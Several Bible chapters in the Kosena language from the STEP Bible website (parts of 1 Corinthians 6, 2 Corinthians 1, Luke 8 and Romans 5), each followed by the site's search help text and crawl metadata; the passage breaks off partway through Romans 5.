kwésune. 13 toónkó tirumpimbó kumíníntavena isaná tirunkó toómbó náníntavena kwáyáimba póna Áánútu minkáé-tántááꞋá ánásasuwaniye. mirá ínívo túwawaatavesa imáyáa ombá maarán-iye. túwawaaꞋnei aarai-úmóyámbá ónááomba ímanivo mintúwáwááꞋnéí Ísóigona mayáí mayánááowe. mirámó ónááontavena Ísóigo túwawaakaꞋa kwétuwaꞋnaa-iye. 14 Áánútu Ísóigomba pukáimpinkemba usásinankaraintemba kwená asirayándéí kentáá súwawaaꞋa usásisinkanintaawe.\n15 kentúwawaaꞋa Káráísiti aíyayaankaambo kwéimba póꞋa eénánkáꞋó kwénaainda-ininkowe íma maéꞋa mimbórá-túmá aúꞋmái máéro. 16 moóráwai eénánkáꞋó kwénaainda-ininkoe máyáimba mimbórá-túmá aúꞋmái máyááiye. mindáyavena naaóváꞋá Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nminkáéꞋnárai mimbórá-túmá\nmaꞋmái máyááiye\nagaimaréna siráiye. 17 ánivo Ísóigoe tarúmai máyáiwai kwenamankó kwesé máyáísana mimbóráíꞋa umái máyáiye.\n18 aarai-úmóyáné kwaai-úmóyáné kwéomba tínaaemba umáméro. óꞋon-oꞋon-tantaaꞋo sáwíꞋo kwéomba túgo íma sáwíꞋa kwéivo aarai-úmóyámbó kwéomba túgo sáwíꞋa kwéiye. 19 Áánútu kwenamankómbá aiꞋmarówana kentirumpimbá kumbáyáimba póna kentúma Áánútun-amankona naambá kwáyáimba áꞋa ísaraawe. kentúma Áánútundeima isaꞋá kesúma kendéíyáámá póta sirááímo kwétainiꞋa úwoi ónaumne íma seró. 20 Ísu Káráísiti keinárawatavaiye sénamo pukáimba mimbéyámbá keinárawaꞋa kwendéímán-ovo marapáꞋó máyáamba Áánútu áwíꞋa anómba úmae íyóro.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.6","date":"2018-04-25T18:33:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00514.warc.gz","language":"kze","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999982118606567}","num_words":572,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 11 kéma Póro maanáímbá agaimaráúmpo ísáaro. moóráwai áwíꞋa Tímóti kentáásí kwaásigo kesé máyáísaꞋa agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi éma Ísu Káráísitin-aai kosimátímaꞋmae naauwó séna siꞋmákaivo ísáaro. Kórínti-naopakewai Áánútun-aaiyaveꞋa áraire kwésewai ísáaro. Ákáyaa-maravaꞋa Kórínti-naopakewaiye óꞋon-oꞋon-daopakewaiye máyáawai Ísóigona kwaási ísáaro.\n2 Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwaꞋnaa ésarai paru kwéumatinkaayantaveꞋa námúnaa kwésune.\n3 kentáásí Ísóigo Ísu Káráísiti avowa Áánútu áwíꞋa mósá kwémaraumne. kwemá kentáásivowama arumbá kwéumasinkaiwai sirávayenaya súwaꞋnaa iwáí áwíta mósá kwémaraumne. 4 óꞋon-oꞋon-umbai-yantaaꞋa amápaꞋa kentáásópaꞋa timbá Áánútu kwésiravayaimba póna óꞋon-oꞋon-umbai-yantaaꞋo évakarawaitopaꞋo tínímba Áánútumo siráváyáintenta umái kesáá kanaán-umai miwí tirávayanaumne. 5 Káráísitimba áíꞋa úniꞋa umánkówasa Káráísitina kwaási-iꞋa úndarakemba síꞋa iníꞋa umásínkáamba miráumai Áánútumo Káráísitimbo arávairaintemba miráumai anómba kwésiravayaintaawe. 6 keinárawate méta túwaꞋnaa ówánanaya sáwíꞋa umái máyómpinkemba Áánútu tíꞋmaena kawepáꞋá métínkaraiye. mirá ówándarakemba síꞋa únita umásínkonta Áánútu sirávaraiye. keinárawate máyaawandaya síꞋa únita umásínkonta íma ivátuweta asiramáíya méraumne. miráumai tíꞋa índaiꞋa umátinkanaaomba kesáámó uráundantentaamo mirámó éꞋo ímo ivátuweꞋo asiramáímo ménaaombo éna Áánútu keinárawakwaraꞋa tirávayaniye. 7 síꞋo úniꞋo umásínkaraantenta tíꞋa iníꞋa umátínkáamba miráumai Áánútumo sirávairaintemba tirávayaimba séta mindáyaveꞋa asiramái ménaaowe asiramái séta timuꞋmaréta máyaumne.\n8 kesí kwaásiyono. Ésiyaa-maravata máyaawanda óꞋon-oꞋon-umbai-yantaaꞋa kentáásópaꞋa túmba mináímbá isáígwáe séta simátimumpo ísáaro. minúmbáí-yántááꞋó óꞋoran-anon-umbai-yantaaꞋa úwata kentáásópaꞋa túmba póta puwónaumne séta súvamaiya méta 9 sínkamiyata puwónaunda-kanaa tiráiye-imayaa éta súvamaiya maémaumne. íma kentáásí asirayándéímán-ivo Áánútuna asirayándéí mayáíyá kwémaeta máyaumne. Áánútu pukáampinkemba usásitinkaiwaina asirayándéí mayáíyá kwémaeta máyaumne súndayavenaya minánón-úmbáí-yántááꞋá kentáásópaꞋa tiráiye. 10 umbai-yántáápímbá puwónáe ówándavinkemba Áánútu síyótaasa umásinkowata súvamaiya maémaundaya póna mirá unté iyíníye. sáwívinkemba síyótaasa unté kwéiyiye séta máyaumne. 11 keinárawakwaraꞋa kentááyávéꞋa ÁánútumpaꞋa súwaꞋnaa umai námúnaa seró. sáwívarawai námúnaa síyana Áánútu súwaꞋnaa ínímba mindáyavesa ÁánútumpaꞋa súwi sénááowe.\nPóro kampar-áímbá íma simátímakain-kwasai.12 kwaási túrankaꞋa máyaundayaveta imáyáa kwéundaya sirumpinkén-ímáyááó séna kaweꞋá umáíya máyaumne sisatá aamoiyá kwéune. marapá-áínkóná ááimba íma imáyáa éta Áánútu úwoiya kwésuwaꞋnaa-intaveta imáyáa éta Áánútuna mayáíyé suꞋmai kwémaeta méta íma árúvare-kwaasiraaniꞋa umáíya maúndantemba kentúrankaꞋa áraiꞋa miráyá umáíya máyaumne. 13 kwéagaimai timúnda-auvaivimba íma kaumbo-káér-aimba kwésimatimumpo awánéꞋo ísaraan-aine suꞋmai tavisimái kwésune. kentáá sáwíyamba suwánaavo suwánamai kawer-ígwáe séꞋa únda mirámó éꞋo éꞋa Ísóigo Ísu marapáꞋá kumíndaraꞋa keinárawatavetaamo aamoimó ondantembá kentááyávéꞋa aamoí ónááowe.\n15 keinárawaꞋa kentááyávéꞋa aamoí kwéumasinkaawe-aimba imáyáa uráundayaveꞋa séꞋa kae-táwai kentópaꞋa kóméꞋa Másétóniyaa-maravaꞋa kónáe únda kentópaꞋa kóméꞋa tiyuwéꞋa kweémeꞋa Másétóniyaa-maravaꞋa koméꞋa koyauweréꞋa ókwaraꞋa kentópaꞋa táméꞋa tiyuwéꞋa Yútiyaa-maravaꞋa ténaumne siráumne. kae-táwaimo kaweꞋó umátínkáanaꞋa súwaꞋnaa íyaꞋa Yútiyaa-maravaꞋa ténaumne-imayaa uráundayaveꞋa mináímbá siráumne. 17 mirá ónáe uráunda íma mirá uráundayavesa keinárawapinkemba évakarawai kentávésa sésa árúvare-kwaasiman-iye siráavo kentópaꞋa kónaumne siráunda marapá-kwáásímó ontembá íma mirá únda mimbórá-ímáyáá umái mimbórá-áímbá avoraꞋá simátímakaumne. 18 Áánútumo árair-aine suꞋmaimo siráintemba simátímakaunda-aimba íma kaer-ímáyáávínkémbán-ivo mimbórá-ímáyáá umái mimbórá-áímbá avoraꞋá simátímakaumne. 19 Sáírásiye Tímótiye kewé umáíya kentópaꞋa máyaawanda Áánútu ááninko Ísu Káráísitin-aaiya simátímakaunda kwemá moórá-aimba avoraꞋá séna moórá-aimba aúpáꞋá tuwéna mirá íma iwáí póna amápar-aimba avoraré suꞋmai siwáín-aai simátímakaumne. 20 Áánútu amápar-aimba simáí asirámakaimba Ísu Káráísitintavena siráimba póna paáruraiye. Ísu Káráísiti mirán-ámápáꞋ-máyáí mairáintaveta Áánútu siráin-aintaveta árair-aine kwésunanaya Áánútu áwíꞋa anómba kwáyáiye. 21 Áánútu Ísu Káráísitimba kentááwé keináraware tarúsinkaraisata asiramái máyaundayaawe. kentáá ítámarena 22 kesí kwaásiman-owe séna áraiꞋa kwená kwaásiya úne sénaundayavenaya kwenamankómbá aiꞋmarówana kentáásirumpimba kumbáyáimba mindáyaveta séta toꞋmayaa umásínkarainta mirá íníye kwésundayaawe. mirá uráintaveꞋa íma árúvare-kwaasiraamba kwéune.\n23 Áánútu kesí mayáígómbá awánaraiwai aúrankaꞋa kwésimatimunda-aimba árair-aimban-iye. Kórínti-naopaꞋa kentópaꞋa kónáe séwánda asiramái simátíménana tirunkó umbaí taivó séꞋa ivátuweꞋa íma kuráumne. 24 Áánútun-aaiyaveꞋa áraire asiramái kwéseꞋa kwenkáꞋá agevamái máyáamba póta kentópaꞋa kondayá Áánútun-aaintaveꞋa áraire seró-áíntá íma ókwaraꞋa sénaumpo tirunkó aamoí íníntaveta keinárawapimba tágárotamai méta mayáíyá komayánaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.1","date":"2018-04-23T01:41:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00540.warc.gz","language":"kze","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999915361404419}","num_words":683,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 8\névakar-inimba Ísuwe kwénaaon-kwasai.1 minkákémbá Ísu naaóꞋ-naoꞋa anón-daopimpare sáwíyan-daopimpare kwénaaena Áánútu kwená kwaási kwégawaain-aimba áséi-aimba simátímaꞋmaena iráiye. Ísuwe kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi kwénaauwasa 2 évakar-ininte kwénaaesa miníníntómbá évakaꞋa tíꞋa úwana Ísu kaweꞋá umátínkaron-inimba uwasá évakaꞋa tirumpinkémbá taraváá-kwámbá maitíyukain-inimba uwaná moórá-inimba Mágátáraa-naopakemba áwíꞋa Máríyaa Ísu kwenarumpinkémbá avakaeté-taravaa-kwamba mayáúkon-ininko úwana 3 moórá-ininko áwíꞋa Yóánana awaikó áwíꞋa Súsa kwemá Érótina naankáꞋá kárákwirowai úwana moórá-ininko áwíꞋa Súsáana úwasa évakar-ininkwaraꞋa uwasá miráumai-inimba pósa kentí náaindaampinkemba Ísuwe kwená kwayó-kwáásíyé túwaꞋnaa úmaesa kuráawe.\nmoóráwai ánáyumba tuꞋmakáin-kwasai.4 naaóꞋ-naoken-kwaasi sáwívaꞋa ÍsunopaꞋa tóyo uwaná Ísu simátimena séna 5 moóráwai ánáyumba maimaéna kígauvaꞋa kwégwena máyuꞋmaraisana évakar-anayumba aampaꞋá kunkwáyáísasa kwaási tísamaigo tavútukaawana numaómá túkúnasukaiye. 6 évakar-anayumba óntankwaraꞋ-maravimba kunkwéna karuwéna anoníyaim-baravaꞋa póna aáyánkaraiye. 7 évakar-anayumba karaampimbá kunkwéna kárúraisana karaan-tantáákó araꞋnásukaiye. 8 évakar-anayumba kaweꞋ-márávímbá kunkwéna karúmai anón-éna arambá imái sáwívar-aramba iráiye. kwéisaawai ísámai kaweꞋá oró Ísu siráiye.\n9 súwasa Ísuna kwayó-kwáásí Ísuntavesa minkwántámáí-áínkóná ááimba sinatá ísáano suwaná 10 Ísu séna Áánútu kwená kwaási kawááin-ainkona ááimba kwésimatimunda Áánútu keinárawaꞋa imáyáa tímísaꞋa kwéisaavo óꞋon-kwaasi kwántámai-aine suꞋmai kwésimatimumpo kwéisaambanivo íma ísámai kaweꞋá kwéowe. kwéawanaambanivo íma awánamai kaweꞋá kwéowe Ísu siráiye.\n11 Ísu simátímatuwena séna mináínkóná ááimba súnda ísáaro. moóráwaimo ánáyumbo tuꞋmáráinten-umai Áánútun-aai simátímísana 12 évakar-anayumbo aampaꞋó kúmímba kwaási tirumpintá kúmísasa Áánútun-aai ísááwana Sáátáánigo imáyáa éna Áánútun-aaiyavesa áraire síyana sáwí-ampakemba kawer-ámpáꞋá métínkáivo séna tirumpinkémbá tamaimái úwoivaꞋa kwétiyuwaiye. 13 évakar-anayumbo óntankwaraꞋ-maravimba kúmímba kwaási tirumpintá kúmísasa Áánútun-aai isésa aamoí ombánivo íma tirumpimbá tátoꞋmai kaweꞋá ontávésa sáwíyankaꞋa áraire kwésewana óꞋon-oꞋon-tantaako tisasá miwáná imáyáa ésa Áánútun-aai ivátukaawe. 14 évakar-anayumbo karaampimbó kúmímba kwaási tirumpintá kúmísasa Áánútun-aai ísáámbanivo marapár-úmbáí-yántáátávésa imáyáa úmae naaésa óísan-imayaama úmae kwénaaesa óꞋon-oꞋon-tantaaꞋa mayánáe kwésimae naaésa mirán-ímáyááó Áánútun-aai káátasuwaisasa íma Áánútuna mayáí kwémayaawe. 15 évakar-anayumbo kaweꞋ-márávímbó kúmímba kwaási tirumpintá kúmísasa Áánútun-aai isésa kawer-ímáyáágwárá-kwáásí isésa tirumpimbá tátoꞋmai kaweꞋá ésa asiramái mésa Áánútuna mayáí kwémaesa óꞋowima kwétuwaꞋnaa-owe Ísu siráiye.\noómbá kúrakain-kwasai.16 Ísu simásuwena séna oómbó kúraꞋmaraamba íma aúpáꞋá marésa íma asípáa-amendaampaꞋa marésa avoraꞋá mósá makéwasa amáparawai naaúmpaꞋo iyíyamba awánanaaowe. 17 mirámó onten-umái aúpáꞋó kwáyáin-tantaaꞋa amápaꞋa avoraꞋá paárínasa awánanaaowe. túnkaipaꞋa kwáyáin-tantaaꞋa avoraꞋá paárínasa awánanaaowe. 18 kwéisaan-aimba imáyáa umái kaweꞋá oró. Áánútun-aaimo ísámaimo kaweꞋó kwéowai Áánútu túwaꞋnaa ínasa moórá-ainkwaraꞋa isánááowe. Áánútun-aaimo ímo ísámaimo kaweꞋó ésa kampaꞋá sésa kaweꞋá umái kwéisaumne kwésewai tirumpinkémbá maimayáínana íma kwéniye. mindáyaveꞋa ísáan-aimba imáyáa umái kaweꞋá oró Ísu siráiye.\nÍsun-anówawe áúnavaꞋmaati kwaasái.19 súwasa Ísun-anówawe Ísun-áúnavaꞋmaate tésa sáwíva-kwaasi Ísuwe mésa sisipáá uróntavesa íma naaúmpaꞋa íyúmba máápata tamáyówana 20 mindáúmpáꞋó máyon-kwaasigo Ísuntavena séna enanówe enáúnavare embá awánanae sésa máápaꞋa tamáyáawe súwana 21 Ísu amáparawaiyavena séna Áánútun-aaimo isésa kaweꞋá kwéowai kesinówe kesúnavaꞋmaaꞋan-owe Ísu siráiye.\nanón-unda torówana Ísu maivairáin-kwasai.22 moórá-tawai Ísu kwená kwayó-kwáásíyé nompí-sípívímbá usáatena nonkwaaúnkóná menávápáꞋá kónáe séna miwísé kúmba 23 Ísu aún-kwaigurówana minkwááúmpáꞋá anón-unda torówana nonkó tuvántááva éna nompí-sípívímbá ógwitowasa kunávekunavo sésa 24 inkaisésa Ísumba koaúsesa sésa anóndakoo puwúnavaiyaawe suwaná Ísu usásinena asiramái séna úndáonte nonkóntéyavena maiváyáakaiyo súwasarai úndáoe nonkóe maiváyóyana nonkómá kararépaguwana 25 Ísu simátimena séna kentávéꞋa nóra séra íma kesí imáyáa onkákémbá kwéseo súwana tááꞋa kówasa keáímbá sésa nóran-kwaasiya énawa úndáoe nonkóe kwenáái kwéisaiyo sésa tiyáámba uvakésa táátavesa ésa siráawe.\ntaraváá-kwámbá arumpinkémbá mayáúkain-kwasai.26 simásuwesa mindómpí-sípívímbá kumbá Káríri-marama tínaaempaꞋa kwáyowana Kégésaa-marama túrampaꞋa kwáyowasa 27 mimbáráváꞋá kumbá Ísu mindómpí-sípívínkémbá mimbáráváꞋá ásávowana moóráwai mindáópakewai ÍsunopaꞋa téna kwenarumpimbá taraváá-kwámbá máyowana póna ayáátáákaꞋa unáánkwátói-iyaaimba ména íma kwená naaúmpaꞋa maéna kwaásimo utamátínkóm-buri-aivaꞋa máyowana 28 sáwíva-tawai mintáráváá-kwánkó sáwíꞋa umánkowasa kwaási kárákwiresa aíyayaankaꞋa asááúmarowana minándá tarátuwena mintáráváá-kwánkó áíꞋmaena kavóná-maravaꞋa máánkarowana ména Ísumo túmba awánéna kwááꞋa túwana Ísu taraváá-kwánkóntávéna séna auwé kóaao súwana Ísuma anóndakoman-iye séna aísamaivimba kumbéna anónkaꞋa séna Ísuwo usáyaaitamai-Isoigo ááninko ómpo sínkamonavainivo nóra umásinkaniyono súwana 30 Ísu séna enáwíꞋa nááwaꞋono súwana minkwáásígó sáwíva-taravaa-kwamba kwenarumpimbá máyontavena séna kesúwíꞋa sáwívarawai úne séna máyowasa 31 omákaꞋa sáwíva-poima mésa umá kwénowasa minkwáásígó arumpinkén-táráváá-kwántómbá Ísuntavesa asiramái sésa kwaántái naaópaꞋa íma siꞋmaraaó. mimpóí tirumpimbá siꞋmaraaó suwaná mirá oró súwasa 33 taraváá-kwántómbá minkwáásígó arumpinkémbá kárúwesa póí tirumpimbá kovérówasa mimpóíyómbá amápaꞋa ámémpakemba isaaisésa nonkwaaúmpíntá kumpérómba putásowasa 34 póíraꞋo tavíkówai úmba awánésa avekáán-umai naaópaꞋa kwésa kígauvimpaꞋo máyón-kwaasi mósimati mesimati uwasá 35 isésa koawánanae sésa kumbá ÍsunopaꞋa koyorupésa awánomba taraváá-kwámbá arumpinkémbá kóun-kwaasigo unáánkwátói úmarena Ísu aísamaivimba kaweꞋá umái máyowasa koawánésa táátavai uwasá 36 Ísumo minkwáásígómbó kaweꞋó umánkowasamo awánon-aimba simátímúwasa 37 isésa ávááraumai táátavai ésa pósa Kégésaa-maravaken-kwaasi amáparawai Ísuntavesa sésa maambáráváꞋá ivá siyuwéya kóaao suwaná nompí-sípívímbá usámaaisowana 38 taraváá-kwámbó arupinkémbó mayauwón-kwaasigo Ísuntavena asiramái séna esé kónáe súwana ímanivo 39 ená naaópaꞋa kuré Áánútumo embó kaweꞋó umánkáin-aimba kosimátimiyo súwana Ísumo umánkon-aimba mindáópaꞋa simátímaꞋmaena kuráiye.\ninaamarúgónté aaraigóntéi kwaasái.40 Ísuma Káríri-kwaaunkona menávápákémbá nompí-sípívímbá koyauweréna túmba sáwíva-kwaasi amuꞋmarésa máyówana túwasa aamoí uwaná 41 moóráwai monoꞋ-nánkáꞋó kárákwirowai áwíꞋa Yáírasi téna Ísu anóndakoman-iye séna aísamaivimba kumbéna asiramái séna kímbora kesiyáámúmba puwíndayavena kwéivo tiré aneꞋá koyátorenana asóváíno súwana minínáámárúgó sísamaivakemba kaeꞋá kumbaimái-ima tásukain-arasigontavena avowá tasúwana Ísu kwesé kúmba sáwíva-kwaasi Ísumba taúkúraaꞋnamai kwaꞋmaé kuwaná 43 moórá-ininkomba áíꞋa kwéun-ininko sísamaivakemba kaeꞋá kumbaimái-ima naaeyámba kwéankowasa íma kanaán-umai asóvamankowana mináíꞋá úwoi kwáyowana 44 minínínkó sáwíva-kwaasivimba Ísun-ánaaemba kwaꞋmaéna kwégwena kwená unáánkwátói-ayaairaꞋa koyátorowana mindááéyánkoma érankowana 45 Ísu séna nááwawa kesí unáánkwátóiraꞋa tátorainaꞋiyo súwasa amáparawai sésa ímaniye suwaná Pítaa séna anóndakoo sáwíva-kwaasi kwenkuvaráꞋa úmaesa íyómpimba tátokaawe súwana 46 Ísu séna kempínkén-ásíráyánkó moóráwaimba kaweꞋá umánkáimba awánareꞋa séꞋa moóráwai kesí unáánkwátóiraꞋa tátokaiye kwésune súwana 47 minínínkó imáyáa éna íma aúpáꞋá úmpo áꞋa suwánaraiye-imayaa éna ayántámbá kwétowana Ísu aísamaivimba kumbaéna amáparawai túrankaꞋa kwená unáánkwátóiraꞋo tátorowanamo asóvamankon-aimba simátimuwana 48 Ísu séna kesímánaako kentáváí se áraiꞋa súwaꞋnaa íníwaiman-iye sénda póna áíꞋa éránkáivo kaweꞋá umái kwaaó Ísu siráiye.\n49 Ísu mináímbá kwésuwasa monoꞋ-nánkáꞋó kárákwirowaina naaópaken-kwaasi tésa Yáírasintavesa sésa enayáámúnko pukáivo anóndakontavai ténavo simámiyo suwaná 50 Ísu mináímbá iséna Yáírasintavena séna mináíntáváí íma áákar-aakaꞋa éma kentáváí ísénana enayáámúmba kaweꞋá umái méniye Ísu séna kúmba 51 Yáírasina naan-egwááꞋá kwéna kwaꞋmaésamo kun-kwáásíyóntávéna maankáꞋá méwaro séna Pítaawe Yóniye Yémésiye minárásígó anóvowiye tíꞋmaena naaúmpaꞋa usávéꞋmai iyúmba 52 mindáúmpáꞋó máyón-kwaasi anón-iviꞋa kwétowana Ísu séna íma iviꞋá taaró. minárásígó íma pukáivo úwoi aúmá kwaiguráiye súwasa 53 minkwáásíyómbá áꞋa pukuráiye-imayaa ésa Ísuna awíráái suwaná 54 Ísu minárásígó ayáánkaꞋa tátorena séna inaamarúgóo usásinaao súwana 55 minárásígón-amanko arupimbá túwana avekáámbá usásinowana Ísu séna toómbá amíyana naíno súwasarai 56 anóvowi táátavai uyaná Ísu asiramái séna kemó únda-aimba íma simátímékaiyo siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.8","date":"2018-04-21T23:17:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945459.17\/warc\/CC-MAIN-20180421223015-20180422003015-00039.warc.gz","language":"kze","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000002384185791}","num_words":1079,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 5\nÁánútu arupíya umásínkáin-kwasai.1 Ísu Káráísitin-aaiyaveta áraire súndayavenaya Áánútu kwenaúrankaꞋa arupíya umásínkarenaya Ísóigo Ísu Káráísitina mayáímá imáyáa éna paru kwéumasinkaisata mimbóráíꞋa umái kwémaumne. 2 Ísu Káráísitin-aaiyaveta áraire súndayavenaya Áánútu úwoi kwésuwaꞋnaa-ipata mósinkaraisata méta Áánútuwe ságayan-ayampata ménaundayaveta amuꞋmaréta máyaunanaya sirunkóyá aamoí kwéiye. 3 umbai-yántááꞋó kesópata kwáyáimba sirunkóyá aamoí isatá minúmbáí-yántááꞋá kwáyáintaveta asiramái méta íma sívón-káínta 4 mindáyavena Áánútu séna kaweꞋá umái máyáawe sisatá mindáyaveta kwesé ménaundayaveta amuꞋmaréta máyaunana sirunkóyá aamoí kwéiye. 5 kwesé ménaundayaveta amuꞋmaréta máyaundaya kentááyávéna íma awinkánímba póna íma sigaeyá íníye. Áánútu kwenamankómbá aiꞋmarówana keséya kumbéna Áánútumo kentááyávénamo anón-imayaamo imbá kwéagaraasinkaimba póta kwesémo ménaundayaveta amuꞋmaréta máyaunanaya póna íma sigaeyá kwéiye.\n6 kesáá íma asiramái máyaawananaya Áánútumo siráin-kanaamo tiráimba kesáámó sáwíꞋo umáíyaamo máyaundavinkembo kusúwaꞋnaa índayavenaya Ísu Káráísiti kumpukáiye. 7 arupí-kwaasigombo áwaꞋnaa ónaundayaveꞋa puwónáe senkákáí umbaí taisinó. kawe-kwáásígómbó áwaꞋnaa ónaundayaveꞋa kwená anondá puwónáe sésa púwósino. íya púwósino. íma isáúmne. 8 ánivo kesáámó sáwítaamo umáíyaamo máyaundaya súwaꞋnaa índayavenaya Ísu Káráísiti kumpukáiye. Ísu Káráísiti pukáimpinkemba Áánútu arumbó símímba mindá kwéagaraasinkaintaawe. 9 Ísu Káráísiti kentááyávéna imáyáa éna pukáintavena Áánútu aúrankaꞋa arupí umásínkarainta pónaya Káráísiti áraiꞋa kentáásí sáwí-meyamba maisíyukaintavenaya Áánútu íma áwááꞋa siyíníye. 10 kesáá Áánútumbo síyámba umánkaraundaya kwenááninko kentááyávéna imáyáa éna pukáimba póta Áánútuwe mimbórá-ímáyáávátá máyaundaya miráumai Ísu Káráísiti úwoi ména póna áraiꞋa kawer-ámpáꞋó kwégundayavenaya kwégarakwiyiye. 11 íma mináíné suꞋmainivo maarán-áínkwáráꞋán-iye. Ísóigo Ísu Káráísiti Áánútunte mimbóráíꞋa umásínkáísanaya póna Áánútuntavena kesirunkóyá aamoí kwéiye.\nÁándamunte Ísuntei kwaasái.12 maarán-áímbá ísáaro. aiva-kwáásígó Áánútun-aai arááíraimba póna sáwíꞋo kwéon-amba paáruraiye. sáwíꞋa uráimba póna púwón-amba paáruraiye. amáparawai sáwíꞋa kwéomba pósa púwón-ampaꞋa kwégowe. 13 Áánútumo Mósesimbo ámáámbo ímo simámakonkaꞋa kwaási sáwíꞋa uráamba isaná Áánútu misáwíꞋó uráan-aimba íma agaimakáiye. 14 aivaꞋá Áándamu máyowasa matinka-matinka úmaesa tunkaꞋá Mósesi usá máúnka-kwaasiyomba pukáawe. Áándamu Áánútun-aai arááírowasa kwempínkén-kwáásí évakarawai íma mirá umbá sáwíꞋa umbá pósa pukáawe.\nÁándamu naaémbo paáriniwaimo ínínteniꞋa éna Káráísitimo évaka-tantaaꞋo ínínteniꞋa íma uráivo 15 sáwíꞋa uráimbanivo Áánútu úwoi kwésuwaꞋnaa-intaawe. Áándamu Áánútun-aai arááíraimba pósa amáparawai puꞋmaé kwéiyomba árair-aimban-ivo Áánútu amáparawai úwoi túwaꞋnaa íníntavena moóráwaimba Ísu Káráísitimba aiꞋmarówana kuména kaweꞋá umátínkávaꞋa kwéiyimba minánkó usáyaaitaraiye. 16 Áándamu aiva-kwáásígó sáwíꞋa uráinkakemba amáparawaiya sáwíꞋa úmae kwéiyunanaya Áánútu íma mirá éna kaweꞋá kwéumasinkaintaawe. aiva-táwai aiva-kwáásígó Áánútun-aai arááírowana Áánútu séna sáwíꞋa ónda po puwíníyone séna naaémba sáwíva-kwaasi sáwíꞋa uwaná séna úwoi túwaꞋnaa eꞋa kesúrankaꞋa arupí umátinkanaumne siráiye. 17 Áándamu aiva-kwáásígó sáwíꞋa uráinkakemba amáparawai puwí-ámpáꞋá kwégwaraawana minánkó tátokaivo moóráwai Ísu Káráísiti maarán-ánón-káwéꞋ-máyáí mairáiye. Áánútuntavesa súwaꞋnaa uwo sewáí úwoi kaweꞋá umái kwétuwaꞋnaa-ena kwenaúrankaꞋa arupí umái kwéumatinkaisana Káráísiti túwaꞋnaa isasá asiramái mésa sáwí-mayaigomba kwéusayaaitaawe.\n18 ánivo mináínkóná ááimba maarán-áímbán-iye. aiva-kwáásígó sáwíꞋa urónkakemba Áánútu 